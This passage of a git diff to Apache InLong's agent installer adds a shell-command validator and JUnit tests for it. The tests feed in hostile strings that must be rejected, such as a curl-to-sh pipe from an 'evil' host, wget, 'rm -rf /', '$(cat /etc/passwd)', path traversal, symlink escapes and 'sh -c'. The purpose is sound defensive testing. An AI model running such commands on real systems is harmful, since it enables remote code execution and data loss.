(absolute/relative/contains {@code /}/starts with {@code ~}). */ + private static boolean looksLikePath(String arg) { + if (arg == null || arg.isEmpty()) { + return false; + } + return arg.startsWith("/") || arg.startsWith("~") || arg.startsWith("./") || arg.startsWith("../") + || arg.contains("/"); + } + + /** + * A single sub-command produced by splitting the raw command on {@code ;}. It may contain + * multiple pipe segments produced by splitting on {@code |}. + */ + @Getter + public static final class ParsedSubCmd { + + private final List pipeline; + private final String rawSegment; + private final boolean piped; + private File workDir; + private boolean allowFailure; + private boolean pipedThroughShell; + + public ParsedSubCmd(List pipeline, String rawSegment, boolean piped) { + this.pipeline = pipeline; + this.rawSegment = rawSegment; + this.piped = piped; + } + + /** Return the argv of a plain sub-command, or the argv of the first pipe segment. */ + public String[] getArgv() { + return pipeline.get(0); + } + + public void setWorkDir(File workDir) { + this.workDir = workDir; + } + + public void setAllowFailure(boolean allowFailure) { + this.allowFailure = allowFailure; + } + + public void setPipedThroughShell(boolean pipedThroughShell) { + this.pipedThroughShell = pipedThroughShell; + } + + @Override + public String toString() { + List> readable = new ArrayList<>(pipeline.size()); + for (String[] seg : pipeline) { + readable.add(Arrays.asList(seg)); + } + return "ParsedSubCmd{pipeline=" + readable + ", workDir=" + workDir + "}"; + } + } + + /** + * Validation result. When {@link #isOk()} is {@code true}, {@link #getParsed()} returns + * the split sub-commands ready for execution; otherwise {@link #getRuleName()}, + * {@link #getFailedSubCmd()} and {@link #getMessage()} describe the failure. + */ + @Getter + public static final class ValidationResult { + + private static final ValidationResult OK_PENDING = new ValidationResult(true, null, null, null, + Collections.emptyList()); + + private final boolean ok; + private final String ruleName; + private final String failedSubCmd; + private final String message; + private final List parsed; + + private ValidationResult(boolean ok, String ruleName, String failedSubCmd, String message, + List parsed) { + this.ok = ok; + this.ruleName = ruleName; + this.failedSubCmd = failedSubCmd; + this.message = message; + this.parsed = parsed; + } + + static ValidationResult ok(List parsed) { + return new ValidationResult(true, null, null, null, Collections.unmodifiableList(parsed)); + } + + /** + * Internal marker returned when a single sub-command has passed but the whole command + * is still being aggregated. + */ + static ValidationResult okPending() { + return OK_PENDING; + } + + static ValidationResult fail(String ruleName, String failedSubCmd, String message) { + LOGGER.debug("ModuleCommandValidator reject: rule={}, sub={}, msg={}", + ruleName, failedSubCmd, message); + return new ValidationResult(false, ruleName, failedSubCmd, message, + Collections.emptyList()); + } + + @Override + public String toString() { + return ok ? ("ValidationResult{ok=true, parsed=" + parsed + "}") + : ("ValidationResult{ok=false, rule=" + ruleName + ", failedSubCmd=" + failedSubCmd + + ", msg=" + message + "}"); + } + } +} diff --git a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java new file mode 100644 index 00000000000..75c4fa2df5f --- /dev/null +++ b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java @@ -0,0 +1,402 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package installer; + +import org.apache.inlong.agent.constant.AgentConstants; +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Comparator; +import java.util.Set; +import java.util.stream.Stream; + +/** + * Unit tests for {@link AllowedRootsResolver}. This class is the last line of the shell + * injection defence chain: {@code ModuleCommandValidator} ultimately delegates every path + * check to {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}. The tests below pin the + * behaviours that are easy to break silently during refactors: + * + *

    + *
  • path traversal (e.g. {@code root/../etc}) is defeated by {@link Path#normalize()};
  • + *
  • prefix confusion (e.g. {@code /home/user/inlong-agent-evil} vs + * {@code /home/user/inlong-agent}) is defeated because {@link Path#startsWith(Path)} + * compares by segments, not by string prefix;
  • + *
  • the {@code agent.home} resolution order — system property first, configuration + * override second — behaves as documented;
  • + *
  • {@code installer.command.extraAllowedRoots} CSV parsing skips blank items;
  • + *
  • null / blank inputs and {@code conf == null} are handled without throwing.
  • + *
+ */ +public class AllowedRootsResolverTest { + + private String savedAgentHomeSysProp; + private String savedAgentHomeConf; + private String savedExtraRootsConf; + + @Before + public void setUp() { + // Snapshot the system property and any conf entries the tests may mutate, so we can + // restore them in @After. This keeps the shared InstallerConfiguration singleton + // clean for every subsequent test. + savedAgentHomeSysProp = System.getProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + savedAgentHomeConf = conf.get(AgentConstants.AGENT_HOME, null); + savedExtraRootsConf = conf.get(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null); + } + + @After + public void tearDown() { + // Restore agent.home system property. + if (savedAgentHomeSysProp == null) { + System.clearProperty(AgentConstants.AGENT_HOME); + } else { + System.setProperty(AgentConstants.AGENT_HOME, savedAgentHomeSysProp); + } + // Restore conf entries. AbstractConfiguration#set(key, null) removes the entry. + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, savedAgentHomeConf); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, savedExtraRootsConf); + } + + @Test + public void ofPaths_rootItselfAndChildren_shouldMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertTrue("root itself should match", resolver.isUnderAllowedRoot(root)); + Assert.assertTrue("direct child should match", + resolver.isUnderAllowedRoot(root.resolve("child"))); + Assert.assertTrue("nested descendant should match", + resolver.isUnderAllowedRoot(root.resolve("a/b/c"))); + } + + @Test + public void ofPaths_siblingPath_shouldNotMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + Path sibling = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-other"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertFalse("sibling directory must not match", + resolver.isUnderAllowedRoot(sibling)); + } + + /** + * Path traversal: {@code root/../etc} normalises to {@code /etc} which is outside every + * allowed root. Regressing this check would neutralise the whole shell-injection defence. + */ + @Test + public void pathTraversal_shouldNotMatch() { + Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Path traversal = root.resolve("../../etc/passwd"); + Assert.assertFalse("traversal path must be rejected after normalize()", + resolver.isUnderAllowedRoot(traversal)); + } + + /** + * Prefix confusion: {@code /home/user/inlong-agent-evil} shares a string prefix with + * {@code /home/user/inlong-agent} but is a different path segment; {@link Path#startsWith} + * must reject it. If a future refactor swaps the check for {@link String#startsWith} the + * test below fails. + */ + @Test + public void prefixConfusion_shouldNotMatch() { + Path root = Paths.get("/home/user/inlong-agent"); + Path evil = Paths.get("/home/user/inlong-agent-evil/x"); + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + Assert.assertFalse("path with same string prefix but different segment must be rejected", + resolver.isUnderAllowedRoot(evil)); + } + + @Test + public void nullInput_shouldReturnFalse() { + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths( + Paths.get(System.getProperty("java.io.tmpdir"))); + Assert.assertFalse(resolver.isUnderAllowedRoot(null)); + } + + @Test + public void build_defaultRoots_shouldContainUserHomeAndTmp() { + // Ensure agent.home is not set from either source, so only the guaranteed defaults + // (user.home/inlong, user.home/inlong-agent, java.io.tmpdir) are added. + System.clearProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + + String userHome = System.getProperty("user.home"); + String tmpDir = System.getProperty("java.io.tmpdir"); + Assert.assertTrue("expected " + userHome + "/inlong in " + roots, + roots.contains(Paths.get(userHome, "inlong").toAbsolutePath().normalize())); + Assert.assertTrue("expected " + userHome + "/inlong-agent in " + roots, + roots.contains(Paths.get(userHome, "inlong-agent").toAbsolutePath().normalize())); + Assert.assertTrue("expected java.io.tmpdir in " + roots, + roots.contains(toRealOrNormalized(Paths.get(tmpDir).toAbsolutePath()))); + } + + /** + * When {@code -Dagent.home} is set on the JVM (as {@code bin/*.sh} does via + * {@code BASE_DIR=$(cd "$(dirname "$0")"/../;pwd)}), it becomes an allowed root even when + * the configuration file does not mention it. + */ + @Test + public void build_agentHomeFromSystemProperty_shouldBeAdded() { + String appHome = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys") + .toAbsolutePath().normalize().toString(); + System.setProperty(AgentConstants.AGENT_HOME, appHome); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Assert.assertTrue("agent.home from -D should be added: " + resolver.getRoots(), + resolver.getRoots().contains(Paths.get(appHome))); + } + + /** + * Configuration entry overrides the {@code -Dagent.home} system property. This mirrors + * the documented resolution order: system property first, config override second. + */ + @Test + public void build_agentHomeConfOverridesSystemProperty() { + String fromSys = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys") + .toAbsolutePath().normalize().toString(); + String fromConf = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-conf") + .toAbsolutePath().normalize().toString(); + System.setProperty(AgentConstants.AGENT_HOME, fromSys); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, fromConf); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + Assert.assertTrue("conf value should be present: " + roots, + roots.contains(Paths.get(fromConf))); + Assert.assertFalse("system property value should have been overridden: " + roots, + roots.contains(Paths.get(fromSys))); + } + + /** + * When neither the system property nor the configuration key is set, the resolver still + * builds successfully and simply skips the {@code agent.home} root. Other defaults must + * remain available. + */ + @Test + public void build_noAgentHome_shouldSkipWithoutError() { + System.clearProperty(AgentConstants.AGENT_HOME); + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AgentConstants.AGENT_HOME, null); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + // At minimum the tmpdir default should still be there. + Assert.assertTrue(resolver.getRoots().contains( + toRealOrNormalized(Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath()))); + } + + /** + * {@code conf == null} must not throw; the resolver falls back to system property / + * environment defaults only. + */ + @Test + public void build_nullConf_shouldFallBackToDefaultsOnly() { + System.clearProperty(AgentConstants.AGENT_HOME); + AllowedRootsResolver resolver = AllowedRootsResolver.build(null); + Assert.assertFalse("default roots should not be empty", resolver.getRoots().isEmpty()); + } + + @Test + public void build_extraAllowedRoots_shouldSplitAndTrim() { + String tmp = System.getProperty("java.io.tmpdir"); + String extra = "/opt/inlong, " + tmp + "/data ,, "; // includes blanks & empty item + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extra); + + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Set roots = resolver.getRoots(); + Assert.assertTrue("expected /opt/inlong to be added: " + roots, + roots.contains(Paths.get("/opt/inlong").toAbsolutePath().normalize())); + Assert.assertTrue("expected trimmed second entry to be added: " + roots, + roots.contains(Paths.get(tmp, "data").toAbsolutePath().normalize())); + } + + @Test + public void build_extraAllowedRoots_blankValue_shouldBeIgnored() { + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, " "); + // Should not throw; simply produces the default root set. + AllowedRootsResolver resolver = AllowedRootsResolver.build(conf); + Assert.assertFalse(resolver.getRoots().isEmpty()); + } + + // ------------------------------------------------------------------ + // Symlink bypass defence + // ------------------------------------------------------------------ + + /** + * When a path exists, {@link AllowedRootsResolver#isUnderAllowedRoot(Path)} must use + * {@code Path#toRealPath()} to defeat symlink-based bypass. A symlink inside the allowed + * root that points outside must not grant access to the outside target. + */ + @Test + public void symlinkBypass_existingPath_shouldBeRejected() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + // Create a directory outside the allowed root. + Path outside = base.resolve("outside"); + Files.createDirectory(outside); + Files.createFile(outside.resolve("secrets.txt")); + + // Create a symlink inside the root pointing to the outside dir. + Path symlink = root.resolve("workspace"); + Files.createSymbolicLink(symlink, outside); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // workspace/secrets.txt → outside/secrets.txt (outside root) → must reject. + Path evilPath = symlink.resolve("secrets.txt"); + Assert.assertTrue("should exist for this test", Files.exists(evilPath)); + Assert.assertFalse("symlink to outside root must be rejected for existing path", + resolver.isUnderAllowedRoot(evilPath)); + } finally { + deleteRecursively(base); + } + } + + /** + * When the target path does not exist yet (e.g. a {@code mkdir} payload) but an ancestor + * directory is a symlink pointing outside the allowed root, the resolver must walk up to + * the nearest existing parent, resolve its real path, and reject the spliced result. + */ + @Test + public void symlinkBypass_nonExistingPath_shouldBeRejected() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + // Outside directory acting as the symlink target. + Path outside = base.resolve("outside"); + Files.createDirectory(outside); + + // Symlink inside the allowed root → outside directory. + Path symlink = root.resolve("workspace"); + Files.createSymbolicLink(symlink, outside); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // workspace/malicious does not exist; workspace → outside → parent resolves + // to outside, remainder = malicious, must be rejected. + Path nonExistent = symlink.resolve("malicious"); + Assert.assertFalse("should not exist for this test", Files.exists(nonExistent)); + Assert.assertFalse("symlink parent pointing outside root must be rejected for non-existing path", + resolver.isUnderAllowedRoot(nonExistent)); + } finally { + deleteRecursively(base); + } + } + + /** + * A non-existent path whose existing ancestors are all genuine (no symlink) and lie + * under the allowed root must be accepted — this is the normal {@code mkdir} case. + */ + @Test + public void nonExistingPath_underGenuineRoot_shouldBeAccepted() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // safe/new_dir does not exist, parent "safe" is genuine → must accept. + Path newDir = root.resolve("new_dir"); + Assert.assertFalse("should not exist for this test", Files.exists(newDir)); + Assert.assertTrue("non-existent path under genuine root must be accepted", + resolver.isUnderAllowedRoot(newDir)); + } finally { + deleteRecursively(base); + } + } + + /** + * When no part of the path exists at all (including every ancestor up to the root), + * the resolver falls back to {@link Path#normalize()} and must still reject traversal + * attempts. + */ + @Test + public void fullyNonExistentPath_shouldFallBackToNormalize() throws IOException { + Path base = Files.createTempDirectory("allowedroot-test-"); + try { + Path root = base.resolve("safe"); + Files.createDirectory(root); + + AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root); + + // /tmp/.../completely/nowhere does not exist and neither does any ancestor. + // Fallback to normalize: "../evil" resolves to outside root → reject. + Path nonExistent = base.resolve("completely/nowhere/../evil"); + Assert.assertFalse("should not exist for this test", Files.exists(nonExistent)); + Assert.assertFalse("path traversal via .. must be rejected in fallback path", + resolver.isUnderAllowedRoot(nonExistent)); + } finally { + deleteRecursively(base); + } + } + + // ------------------------------------------------------------------ + // Helpers + // ------------------------------------------------------------------ + + /** Resolve to real path when the path exists, otherwise normalize. */ + private static Path toRealOrNormalized(Path p) { + try { + return p.toRealPath(); + } catch (IOException e) { + return p.normalize(); + } + } + + private static void deleteRecursively(Path dir) throws IOException { + if (Files.exists(dir)) { + try (Stream stream = Files.walk(dir)) { + stream.sorted(Comparator.reverseOrder()) + .forEach(p -> { + try { + Files.delete(p); + } catch (IOException ignored) { + } + }); + } + } + } +} diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java new file mode 100644 index 00000000000..dd3f1dc8943 --- /dev/null +++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java @@ -0,0 +1,494 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package installer; + +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; +import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; +import org.apache.inlong.agent.installer.validator.CommandWhitelistResolver; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; +import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.List; +import java.util.Set; + +/* Unit tests for {@link ModuleCommandValidator}. */ +public class ModuleCommandValidatorTest { + + private ModuleCommandValidator validator; + private AllowedRootsResolver defaultRoots; + + @Before + public void setUp() { + /* Roots matching commands from Manager */ + String userHome = System.getProperty("user.home"); + Path inlongRoot = Paths.get(userHome, "inlong"); + Path tmpRoot = Paths.get(System.getProperty("java.io.tmpdir")); + defaultRoots = AllowedRootsResolver.ofPaths(inlongRoot, tmpRoot); + validator = new ModuleCommandValidator(defaultRoots); + } + + @Test + public void legal_startCommand_shouldPassAndBindWorkDir() { + ValidationResult r = validator.validate("cd ~/inlong/inlong-agent/bin;sh agent.sh start"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sh = parsed.get(0); + Assert.assertArrayEquals(new String[]{"sh", "agent.sh", "start"}, sh.getArgv()); + Assert.assertNotNull("cd should bind workDir", sh.getWorkDir()); + Assert.assertTrue(sh.getWorkDir().toString().endsWith("inlong/inlong-agent/bin")); + } + + @Test + public void legal_checkCommand_pipelineShouldSplit() { + ValidationResult r = validator.validate( + "ps aux | grep core.AgentMain | grep java | grep -v grep | awk '{print $2}'"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sub = parsed.get(0); + Assert.assertTrue(sub.isPiped()); + List pipeline = sub.getPipeline(); + Assert.assertEquals(5, pipeline.size()); + Assert.assertArrayEquals(new String[]{"ps", "aux"}, pipeline.get(0)); + Assert.assertArrayEquals(new String[]{"grep", "core.AgentMain"}, pipeline.get(1)); + Assert.assertArrayEquals(new String[]{"awk", "{print $2}"}, pipeline.get(4)); + } + + @Test + public void legal_installCommand_multiSubShouldPass() { + String cmd = "cd ~/inlong/inlong-agent/bin;sh agent.sh stop" + + ";rm -rf ~/inlong/inlong-agent-temp" + + ";mkdir -p ~/inlong/inlong-agent-temp" + + ";cp -r ~/inlong/inlong-agent/.localdb ~/inlong/inlong-agent-temp"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + /* cd absorbed as workDir, leaving 4 sub-commands: sh / rm / mkdir / cp */ + Assert.assertEquals(4, parsed.size()); + Assert.assertEquals("sh", parsed.get(0).getArgv()[0]); + Assert.assertEquals("rm", parsed.get(1).getArgv()[0]); + Assert.assertEquals("mkdir", parsed.get(2).getArgv()[0]); + Assert.assertEquals("cp", parsed.get(3).getArgv()[0]); + Assert.assertNotNull(parsed.get(0).getWorkDir()); + } + + /* cd applies to all subsequent subs until next cd (POSIX shell semantics) */ + @Test + public void cd_shouldApplyToAllFollowingSubsUntilNextCd() { + /* use tmp root from setUp() so path policy doesn't reject cd on macOS (/tmp symlink) */ + String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString(); + String cmd = "cd " + tmp + ";mkdir " + tmp + "/e2e-cd-scope" + + ";tar -xzvf " + tmp + "/dummy.tar.gz -C " + tmp + "/e2e-cd-scope"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]); + Assert.assertEquals("tar", parsed.get(1).getArgv()[0]); + Assert.assertNotNull("mkdir must inherit cd's workDir", parsed.get(0).getWorkDir()); + Assert.assertNotNull("tar must ALSO inherit cd's workDir (shell semantics)", + parsed.get(1).getWorkDir()); + /* both must point to the same target, proving cd persists */ + Assert.assertEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir()); + Assert.assertEquals(tmp, parsed.get(0).getWorkDir().toString()); + } + + /* later cd overrides earlier cd's workDir */ + @Test + public void cd_shouldBeOverriddenByNextCd() { + String userHome = System.getProperty("user.home"); + String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString(); + String cmd = "cd " + userHome + "/inlong;mkdir " + userHome + "/inlong/a" + + ";cd " + tmp + ";mkdir " + tmp + "/b"; + ValidationResult r = validator.validate(cmd); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]); + Assert.assertEquals("mkdir", parsed.get(1).getArgv()[0]); + /* 1st mkdir under ~/inlong ; 2nd under tmp */ + Assert.assertTrue(parsed.get(0).getWorkDir().toString().endsWith("inlong")); + Assert.assertEquals(tmp, parsed.get(1).getWorkDir().toString()); + Assert.assertNotEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir()); + } + + @Test + public void illegal_curlPipe_shouldRejectByMetaChar() { + /* "&&" hits metacharacter blacklist */ + ValidationResult r = validator.validate( + "cd ~/inlong/inlong-agent/bin;sh agent.sh start && curl http://evil/x.sh | sh"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void illegal_rmSlash_shouldRejectByPath() { + ValidationResult r = validator.validate("sh agent.sh start; rm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + Assert.assertTrue(r.getFailedSubCmd().contains("rm")); + } + + @Test + public void illegal_dollarParen_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo $(cat /etc/passwd)"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* P0: glob wildcards * and ? are rejected */ + + @Test + public void illegal_starWildcard_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/*.log"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + Assert.assertTrue("reject message must mention the offending meta char '*', got: " + r.getMessage(), + r.getMessage().contains("*")); + } + + @Test + public void illegal_questionMarkWildcard_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/log?.txt"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + Assert.assertTrue("reject message must mention the offending meta char '?', got: " + r.getMessage(), + r.getMessage().contains("?")); + } + + @Test + public void illegal_starInMiddleOfPath_shouldRejectByMetaChar() { + /* glob buried inside path must still be rejected, else rm -rf ~/inlong/*\/logs no-ops */ + ValidationResult r = validator.validate("rm -rf ~/inlong/*/logs"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* P1: quote-aware split-by-';' and split-by-'|' */ + + @Test + public void semicolonInsideDoubleQuotes_shouldNotSplit() { + ValidationResult r = validator.validate("echo \"hello;world\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals("';' inside double quotes must not split", 1, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv()); + } + + @Test + public void semicolonInsideSingleQuotes_shouldNotSplit() { + ValidationResult r = validator.validate("echo 'hello;world'"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv()); + } + + @Test + public void pipeInsideDoubleQuotes_shouldNotSplitPipeline() { + /* grep with regex alternation: "ERR|WARN" must not be parsed as pipeline */ + ValidationResult r = validator.validate("grep \"ERR|WARN\" ~/inlong/app.log"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertFalse("must NOT be parsed as a pipeline", parsed.get(0).isPiped()); + /* tokenizer preserves literal argv; tilde expansion deferred to path-policy check */ + Assert.assertArrayEquals(new String[]{"grep", "ERR|WARN", "~/inlong/app.log"}, + parsed.get(0).getArgv()); + } + + @Test + public void pipeInsideSingleQuotes_shouldNotSplitPipeline() { + ValidationResult r = validator.validate("grep 'foo|bar' ~/inlong/app.log"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + Assert.assertFalse(parsed.get(0).isPiped()); + Assert.assertArrayEquals(new String[]{"grep", "foo|bar", "~/inlong/app.log"}, + parsed.get(0).getArgv()); + } + + @Test + public void mixedQuotedAndUnquotedSemicolons_shouldSplitOnlyTopLevel() { + /* first ";" is real boundary, second ";" is inside quoted argv */ + ValidationResult r = validator.validate("echo one; echo \"two;three\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(2, parsed.size()); + Assert.assertArrayEquals(new String[]{"echo", "one"}, parsed.get(0).getArgv()); + Assert.assertArrayEquals(new String[]{"echo", "two;three"}, parsed.get(1).getArgv()); + } + + @Test + public void mixedQuotedAndUnquotedPipes_shouldSplitOnlyTopLevel() { + /* top-level "|" builds 2-stage pipeline; quoted "|" stays literal */ + ValidationResult r = validator.validate("echo hello | grep \"h|i\""); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + List parsed = r.getParsed(); + Assert.assertEquals(1, parsed.size()); + ParsedSubCmd sub = parsed.get(0); + Assert.assertTrue("must be piped", sub.isPiped()); + List pipeline = sub.getPipeline(); + Assert.assertEquals("exactly two pipe stages", 2, pipeline.size()); + Assert.assertArrayEquals(new String[]{"echo", "hello"}, pipeline.get(0)); + Assert.assertArrayEquals(new String[]{"grep", "h|i"}, pipeline.get(1)); + } + + @Test + public void unterminatedQuote_shouldReject() { + /* unterminated quote must fail validation rather than silently mis-parse */ + ValidationResult r = validator.validate("echo \"hello"); + assertRejected(r, ModuleCommandValidator.RULE_EMPTY_COMMAND); + } + + @Test + public void illegal_wget_shouldRejectByWhitelist() { + ValidationResult r = validator.validate("sh agent.sh start; wget http://evil"); + assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + @Test + public void illegal_pathTraversal_shouldRejectByPath() { + /* ~/inlong/../../../etc normalizes to /etc, outside all allowed roots */ + ValidationResult r = validator.validate("rm -rf ~/inlong/../../../etc"); + assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + } + + @Test + public void illegal_shDashC_shouldRejectByForbiddenFlag() { + /* avoid $( or && in payload so metacharacter check fires after -c check */ + ValidationResult r = validator.validate("sh -c echo hello"); + assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG); + } + + @Test + public void bashDashC_shouldAlsoBeRejected() { + ValidationResult r = validator.validate("bash -c echo hello"); + assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG); + } + + @Test + public void extraAllowedRoots_shouldPermitCustomRoot() { + /* without /opt/inlong: reject */ + ValidationResult r1 = validator.validate("rm -rf /opt/inlong/tmp"); + assertRejected(r1, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + + /* after adding /opt/inlong: accept */ + AllowedRootsResolver extended = AllowedRootsResolver.ofPaths( + Paths.get(System.getProperty("user.home"), "inlong"), + Paths.get(System.getProperty("java.io.tmpdir")), + Paths.get("/opt/inlong")); + ModuleCommandValidator extendedValidator = new ModuleCommandValidator(extended); + ValidationResult r2 = extendedValidator.validate("rm -rf /opt/inlong/tmp"); + Assert.assertTrue("expected ok after adding /opt/inlong, got " + r2, r2.isOk()); + } + + @Test + public void chmodNumericMode_shouldNotBeTreatedAsPath() { + /* "755" has no slash, not treated as path; ~/inlong/... is under allowed root */ + ValidationResult r = validator.validate("chmod 755 ~/inlong/inlong-agent/bin/agent.sh"); + Assert.assertTrue("expected ok, got " + r, r.isOk()); + } + + @Test + public void emptyCommand_shouldReject() { + assertRejected(validator.validate(""), 